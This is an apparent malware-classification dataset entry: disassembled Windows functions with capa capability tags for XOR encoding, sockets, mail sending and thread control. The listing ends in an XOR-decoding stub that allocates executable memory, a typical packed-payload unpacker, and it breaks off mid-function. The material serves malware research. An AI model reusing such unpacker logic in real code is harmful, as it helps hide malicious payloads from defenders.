joyce8/EMBER2024-capa huggingface dataset:
Function at 0x499db0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
xorps xmm0, xmm0
push esi
push edi
mov edi, ecx
xor esi, esi
movdqu xmmword [ebp - 0x18], xmm0
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
cmp dword [edi], esi
je 0x499ddf
mov esi, 0x10dd
jmp 0x499ea3
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpGetIEProxyConfigForCurrentUser]
mov edx, dword [ebp + 0xc]
test eax, eax
jne 0x499e0d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 2
jne 0x499ea3
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x18], 1
jmp 0x499e12
cmp dword [ebp - 0x18], esi
je 0x499e44
lea eax, [ebp - 8]
mov ecx, edi
push eax
lea eax, [ebp - 4]
push eax
push 0
push edx
push dword [ebp + 8]
call fcn.00499c60
mov esi, eax
test esi, esi
je 0x499ef0
push esi
call fcn.00499800
test eax, eax
je 0x499eda
mov edx, dword [ebp + 0xc]
xor esi, esi
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x499e75
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
push edx
push dword [ebp + 8]
mov ecx, edi
call fcn.00499c60
mov esi, eax
test esi, esi
je 0x499ef0
push esi
call fcn.00499800
test eax, eax
je 0x499eda
xor esi, esi
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [edi + 0x2c], eax
xor eax, eax
test ecx, ecx
mov dword [edi + 0x1c], ecx
mov dword [edi + 0x20], edx
setne al
mov dword [edi], 1
lea eax, [eax*2 + 1]
mov dword [edi + 0x18], eax
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x499eb4
push eax
call ebx
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x499ec5
push eax
call ebx
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x499ecf
push eax
call ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 4]
test eax, eax
je 0x499ee4
push eax
call ebx
mov eax, dword [ebp - 8]
test eax, eax
je 0x499ea3
push eax
call ebx
jmp 0x499ea3
mov ecx, dword [ebp - 4]
mov eax, 1
mov edx, dword [ebp - 8]
jmp 0x499e83

Function at 0x499f00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, ecx
test edx, edx
je 0x499f29
push ebx
mov ebx, dword [ebp + 8]
mov al, byte [esi]
lea esi, [esi + 1]
mov ecx, edi
not al
and ecx, 0xf
inc edi
xor al, byte [ecx + ebx]
mov byte [esi - 1], al
cmp edi, edx
jb 0x499f11
pop ebx
pop edi
xor eax, eax
pop esi
pop ebp
ret
Function at 0x49a040
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x50c7c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi], 0
jne 0x49a08d
lea eax, [ebp - 0x198]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x49a148
push 0x10000
call fcn.004a7933
add esp, 4
mov dword [esi + 0xcec], eax
mov dword [esi], 1
cmp dword [esi + 8], 0
je 0x49a0a9
mov eax, 0x2748
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x49a0d3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ebx, eax
test ebx, ebx
jne 0x49a101
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push edi
mov esi, eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
push 0x3ff
push ebx
push edi
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x49a13c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push edi
mov esi, eax
call dword [sym.imp.WS2_32.dll_closesocket]
push ebx
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
push ebx
push edi
lea ecx, [esi + 8]
call fcn.0049ac10
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
Function at 0x49a8b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
cmp dword [esi], edi
jae 0x49a903
mov ebx, dword [ebp + 0xc]
mov ecx, dword [esi]
push 0
push 0
push 0
lea eax, [ecx + ebx]
mov dword [ebp + 0x14], 0
mov dword [ebp - 4], eax
mov eax, edi
sub eax, ecx
mov dword [ebp - 8], eax
lea eax, [ebp + 0x14]
push eax
push 1
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
je 0x49a90e
mov eax, dword [ebp + 0x14]
add dword [esi], eax
cmp dword [esi], edi
jb 0x49a8c6
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x49aab0
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
mov eax, dword [0x50c7c4]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or esi, 0xffffffff
mov edi, ecx
mov eax, dword [ebx + 8]
cmp eax, 0xffffffff
mov ecx, dword [ebx]
cmovbe esi, eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push eax
push ecx
call fcn.004a6f10
sub dword [ebx + 8], esi
add esp, 0xc
mov eax, dword [ebx + 0x14]
or esi, 0xffffffff
mov ecx, dword [ebx + 0xc]
cmp eax, 0xffffffff
cmovbe esi, eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push eax
push ecx
call fcn.004a6f10
sub dword [ebx + 0x14], esi
add esp, 0xc
cmp dword [edi], 0
jne 0x49ab43
lea eax, [ebp - 0x394]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x49abbf
push 0x10000
call fcn.004a7933
add esp, 4
mov dword [edi + 0xcec], eax
mov dword [edi], 1
push 0x1f4
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x49ab73
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x49ab5a
mov eax, dword [edi + 0xc]
xor esi, esi
cmp dword [eax], esi
je 0x49abab
nop
mov eax, dword [eax]
push dword [eax]
push ecx
mov ecx, ebx
call fcn.0049b120
mov eax, dword [edi + 0xc]
lea esi, [esi + 1]
cmp dword [eax + esi*4], 0
lea eax, [eax + esi*4]
jne 0x49ab90
mov eax, dword [ebx + 8]
and eax, 0xfffffffc
neg eax
sbb eax, eax
and eax, 0xffffd8be
add eax, 0x2742
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret 4
Function at 0x49bce0
Capabilities:
Initialize winsock library
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d0
mov eax, dword [0x50c7c4]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x14]
mov byte [ebp - 0x14], 0
xorps xmm0, xmm0
mov byte [ebp - 0xb], 0
push 0x4f84a4
push eax
movq qword [ebp - 0x13], xmm0
call fcn.0049be70
add esp, 0xc
mov dword [ebp - 0x1a8], 0
lea eax, [ebp - 0x1a4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x49bdc6
lea eax, [ebp - 0x1a8]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x14]
movdqu xmmword [ebp - 0x1cc], xmm0
push eax
push str.127.0.0.1
movdqu xmmword [ebp - 0x1bc], xmm0
mov dword [ebp - 0x1c8], 2
mov dword [ebp - 0x1c4], 1
mov dword [ebp - 0x1c0], 6
mov dword [ebp - 0x1cc], 1
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x49bdc0
mov eax, dword [ebp - 0x1a8]
push dword [eax + 0xc]
push dword [eax + 8]
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x49bdda
push dword [ebp - 0x1a8]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret 4
push 4
lea eax, [ebp - 0x1ac]
mov dword [ebp - 0x1ac], 1
push eax
push 4
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [ebp - 0x1a8]
push dword [eax + 0x10]
push dword [eax + 0x18]
push esi
call dword [sym.imp.WS2_32.dll_bind]
push dword [ebp - 0x1a8]
cmp eax, 0xffffffff
jne 0x49be40
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 8]
mov eax, 1
xor ecx, ebp
pop esi
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret 4
Function at 0x4a2a90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x50c7c4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x50ee70], 0
push esi
push edi
mov edi, edx
je 0x4a2b64
cmp byte [0x513c0e], 0
je 0x4a2b64
call fcn.004a29b0
mov esi, eax
test esi, esi
je 0x4a2b64
push ebx
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx eax, word [ebp - 0x14]
mov dword [ebp - 0x20], eax
call fcn.004a9128
add eax, 0x40
push eax
call fcn.004a95d9
add esp, 4
dec esi
je 0x4a2b16
dec esi
je 0x4a2b0f
dec esi
je 0x4a2b08
xor eax, eax
jmp 0x4a2b1b
mov eax, 6
jmp 0x4a2b1b
mov eax, 2
jmp 0x4a2b1b
mov eax, 4
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
or eax, 8
push eax
push ebx
call esi
call fcn.004a9128
add eax, 0x40
push eax
push 1
push dword [ebp + 8]
push edi
call fcn.004a9cd8
call fcn.004a9128
add eax, 0x40
push eax
call fcn.004a95d9
add esp, 0x14
push dword [ebp - 0x20]
push ebx
call esi
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
call fcn.004a9128
add eax, 0x40
push eax
push 1
push dword [ebp + 8]
push edi
call fcn.004a9cd8
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret

Function at 0x4a2b90
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x50c7c4]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov esi, edx
push edi
mov edi, dword [ebp + 8]
cmp ecx, 2
jge 0x4a2bb5
cmp byte [0x513c0d], 0
je 0x4a2bfd
push edi
call fcn.004a2a90
add esp, 4
mov dword [ebp - 0xc], 0xf
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x10], 0
mov byte [ebp - 0x20], 0
push edi
push esi
call fcn.00403860
cmp dword [ebp - 0xc], 0x10
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [ebp - 0xc], 0x10
jb 0x4a2bfd
push dword [ebp - 0x20]
call fcn.004a78e3
add esp, 4
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
Function at 0x4a4f00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e3c8c
mov eax, dword fs:[0]
push eax
sub esp, 0xd4
mov eax, dword [0x50c7c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
mov edi, dword [ebp + 8]
mov dword [ebp - 0xdc], 0
test esi, esi
je 0x4a512a
cmp byte [esi], 0
je 0x4a512a
push esi
push edi
push ebx
push str.Trying_to_send_TITLE:__s_BODY:__s_to__s_n
call fcn.004a9128
add eax, 0x40
push eax
call fcn.004ac28c
add esp, 0x14
lea ecx, [ebp - 0xc0]
mov edx, 0x513d50
push str.__s_
call fcn.0040a550
add esp, 4
push ebx
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xd8]
call fcn.00403c80
add esp, 4
push 0x4fe034
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa8]
call fcn.00403c80
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x90]
call fcn.00403c80
add esp, 4
cmp dword [ebp - 0x94], 0x10
jb 0x4a4fde
push dword [ebp - 0xa8]
call fcn.004a78e3
add esp, 4
mov dword [ebp - 0x94], 0xf
mov dword [ebp - 0x98], 0
mov byte [ebp - 0xa8], 0
cmp dword [ebp - 0xc4], 0x10
jb 0x4a5010
push dword [ebp - 0xd8]
call fcn.004a78e3
add esp, 4
mov dword [ebp - 0xc4], 0xf
mov dword [ebp - 0xc8], 0
mov byte [ebp - 0xd8], 0
mov byte [ebp - 4], 7
cmp dword [ebp - 0xac], 0x10
jb 0x4a5046
push dword [ebp - 0xc0]
call fcn.004a78e3
add esp, 4
cmp dword [ebp - 0x7c], 0x10
lea eax, [ebp - 0x90]
push 0x4eed18
cmovae eax, dword [ebp - 0x90]
push eax
mov dword [ebp - 0xac], 0xf
mov dword [ebp - 0xb0], 0
mov byte [ebp - 0xc0], 0
call fcn.004abc59
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4a50ff
test edi, edi
je 0x4a50a6
mov ecx, edi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a5090
push ebx
sub ecx, edx
push ecx
push 1
push edi
call fcn.004a9cd8
add esp, 0x10
push ebx
call fcn.004abb8a
add esp, 4
cmp eax, 0xffffffff
setne bl
test bl, bl
jne 0x4a50e7
call fcn.004ab03e
push ecx
lea edx, [ebp - 0x78]
mov ecx, dword [eax]
call fcn.004a5490
add esp, 4
lea eax, [ebp - 0x78]
push eax
push esi
push str.Problems_sending_mail_to__s:__s_n
call fcn.004a9128
add eax, 0x40
push eax
call fcn.004ac28c
add esp, 0x10
cmp dword [ebp - 0x7c], 0x10
jb 0x4a50fb
push dword [ebp - 0x90]
call fcn.004a78e3
add esp, 4
mov al, bl
jmp 0x4a512c
push esi
push str.Unable_to_send_mail_to__s_n
call fcn.004a9128
add eax, 0x40
push eax
call fcn.004ac28c
add esp, 0xc
cmp dword [ebp - 0x7c], 0x10
jb 0x4a512a
push dword [ebp - 0x90]
call fcn.004a78e3
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
Function at 0x4a5150
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e3ce1
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x50c7c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x5141b4]
push dword [esi + 4]
push dword [esi]
call fcn.0040fd70
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x4a522f
cmp byte [ebp - 0x118], 0
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], 0
jne 0x4a51d3
xor ecx, ecx
jmp 0x4a51e9
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a51e0
sub ecx, edx
push ecx
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x130]
call fcn.00403860
lea eax, [ebp - 0x130]
mov dword [ebp - 4], 0
push eax
mov ecx, esi
call fcn.00425950
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x11c], 0x10
jb 0x4a522f
push dword [ebp - 0x130]
call fcn.004a78e3
add esp, 4
push 7
push str.C:_tmp_
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], 0
call fcn.00403860
lea eax, [ebp - 0x130]
mov dword [ebp - 4], 1
push eax
mov ecx, esi
call fcn.00425950
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x11c], 0x10
jb 0x4a528f
push dword [ebp - 0x130]
call fcn.004a78e3
add esp, 4
push 8
push str.C:_temp_
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x134], 0xf
mov dword [ebp - 0x138], 0
mov byte [ebp - 0x148], 0
call fcn.00403860
lea eax, [ebp - 0x148]
mov dword [ebp - 4], 2
push eax
mov ecx, esi
call fcn.00425950
cmp dword [ebp - 0x134], 0x10
jb 0x4a52e8
push dword [ebp - 0x148]
call fcn.004a78e3
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
Function at 0x4a5310
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e3ce1
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x50c7c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x5141b4]
test eax, eax
jne 0x4a5475
push 0xc
call fcn.004a7933
add esp, 4
test eax, eax
je 0x4a536c
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
jmp 0x4a536e
xor eax, eax
cmp dword [0x513d90], 0
mov dword [0x5141b4], eax
je 0x4a53cc
cmp dword [0x513d94], 0x10
lea ecx, [ebp - 0x130]
mov eax, 0x513d80
cmovae eax, dword [0x513d80]
push eax
call fcn.00403030
lea eax, [ebp - 0x130]
mov dword [ebp - 4], 0
mov ecx, dword [0x5141b4]
push eax
call fcn.00425950
cmp dword [ebp - 0x11c], 0x10
jb 0x4a5470
push dword [ebp - 0x130]
jmp 0x4a5468
call fcn.004a5150
push 0x104
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x4a5430
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x130]
call fcn.00403030
lea eax, [ebp - 0x130]
mov dword [ebp - 4], 1
mov ecx, dword [0x5141b4]
push eax
call fcn.00425950
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x11c], 0x10
jb 0x4a5430
push dword [ebp - 0x130]
call fcn.004a78e3
add esp, 4
push 0x4fe094
lea ecx, [ebp - 0x148]
call fcn.00403030
lea eax, [ebp - 0x148]
mov dword [ebp - 4], 2
mov ecx, dword [0x5141b4]
push eax
call fcn.00425950
cmp dword [ebp - 0x134], 0x10
jb 0x4a5470
push dword [ebp - 0x148]
call fcn.004a78e3
add esp, 4
mov eax, dword [0x5141b4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret

Function at 0x4b289c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x4b61e4
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x50c7c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004b30d1
mov dword [ebp - 0x14], eax
cmp dword [0x511108], esi
jne 0x4b62d7
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4b6264
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4b63b7
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4b63b7
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4b63b7
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x511108], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x51110c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x511110], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x511118], eax
test eax, eax
je 0x4b62d4
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x511114], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4b62fc
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4b62ef
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4b6311
push 4
pop eax
jmp 0x4b63b9
cmp dword [ebp - 0x14], esi
je 0x4b6311
push dword [0x511108]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4b62f6
mov eax, dword [0x511114]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4b636f
cmp dword [0x511118], edi
je 0x4b636f
push eax
call ebx
push dword [0x511118]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4b636f
test eax, eax
je 0x4b636f
call ecx
test eax, eax
je 0x4b6364
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4b6364
test byte [ebp - 8], 1
jne 0x4b636f
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4b639f
mov eax, dword [0x51110c]
cmp eax, edi
je 0x4b639c
push eax
call ebx
test eax, eax
je 0x4b639c
call eax
mov esi, eax
test esi, esi
je 0x4b639c
mov eax, dword [0x511110]
cmp eax, edi
je 0x4b639c
push eax
call ebx
test eax, eax
je 0x4b639c
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x511108]
call ebx
test eax, eax
je 0x4b63b7
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4b63b9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004a6d1e
mov esp, ebp
pop ebp
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10007073
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10007073
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10007073
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10007073
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10007073
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10007073
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10007073
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10007073
push 0xd008
push edi
call fcn.10007073
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10007073
int3

Function at 0x10007073
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10007082
pop dword [ebp - 0x1c]
mov eax, 0x1d924dec
sub eax, 0xd91dd6a
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3c049
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x53f4
xor edx, edx
add edx, eax
mov ebx, 0x92b344f
add ebx, 0x6d651b1
add ebx, dword [ebp - 0x1c]
mov edi, 0x40b5d9e6
add dword [ebp - 4], ebx
mov esi, dword [ebx]
xor dword [ebp - 0x10], edx
xor esi, edi
mov dword [ebp - 0x14], 0xcdd7a6d2
mov dword [edx], esi
add edx, 4
add ebx, 4
loop 0x100070d2
add eax, 0xcf4a4bba
sub eax, 0xcf490917
